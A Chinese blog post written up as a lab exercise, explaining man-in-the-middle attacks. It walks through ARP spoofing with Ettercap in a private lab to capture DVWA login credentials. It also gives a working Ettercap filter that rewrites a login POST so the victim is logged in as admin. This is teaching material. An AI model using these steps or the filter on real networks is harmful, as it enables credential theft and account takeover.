中间人攻击实验

一、简介

  中间人( MITM) 攻击是一种攻击类型, 其中攻击者将它自己放到两方之间, 通常是客户端和服务端通信线路的中间。 这可以通过破坏原始频道之后拦截一方的消息并将它们转发( 有时会有改变) 给另一方来实现。
举例:
  Alice 连接到了 Web 服务器上, Bob打算了解 Alice 正在发送什么信息。 于是 Bob 建立 MITM攻击, 通过告诉服务器他是 Alice, 并且告诉 Alice 他是服务器。 现在, 所有 Alice 的请求都会发给 Bob, Bob 会将它们转发给服务器, 并对服务器的响应做相同操作。 这样, Bob 就能够拦截、 读取或修改所有 Alice 和服务器之间的流量。

二、实例:ARP欺骗与MITM

1、实验环境:

主机名
IP地址
Kali(Bob)
10.10.10.128
OWASP(Web server)
10.10.10.134
win-xp(Alice)
10.10.10.131

2、利用 Ettercap 进行ARP欺骗,截获账号,密码

(1)kali 终端打开 Ettercap 命令
ettercap –G
(2)其他操作如下图所示

(3)ARP 欺骗前XP和OWASP情况

(4)进行 ARP 欺骗:

(5)欺骗结果:

(6)XP 浏览 http://10.10.10.134/dvwa/ 并登录
(7)用户名,密码被截获
(8)也可用wireshark抓包获取跟详细的信息,如下图:

3、修改服务端和客户端之间的数据(接上述实验)

(1)创建过滤器文件(regex-replace-filter.filter)
复制代码
if (ip.dst == '10.10.10.134'&& tcp.dst == 80) 
 {
  if (search(DATA.data, "POST"))
    { msg("POST request");
  if (search(DATA.data, "login.php") )
    {
      msg("Call to login page");
      pcre_regex(DATA.data, "Content-Length\:\ [0-9]*","Content-Length: 41") ;
      msg("Content Length modified");
      if (pcre_regex(DATA.data, "username=[a-zAZ]*&","username=admin&"))
        { msg("DATA modified\n"); }
      msg("Filter Ran.\n");
     }
    }
}
复制代码
(2)编译 regex-replace-filter.filter 生成 regex-replace-filter.ef(Kali终端)
etterfilter -o regex-replace-filter.ef regex-replace-filter.filter
(3)结果如图所示:
(4)Ettercap 加载并使用(菜单选择:Filters | Load a filter
(5)XP 浏览 http://10.10.10.134/dvwa/ 并使用“密码” admin 登陆“任意用户”,如test:admin

(6)用户现在登陆为管理员,如下图:

posted @   z9m8r8  阅读(755)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示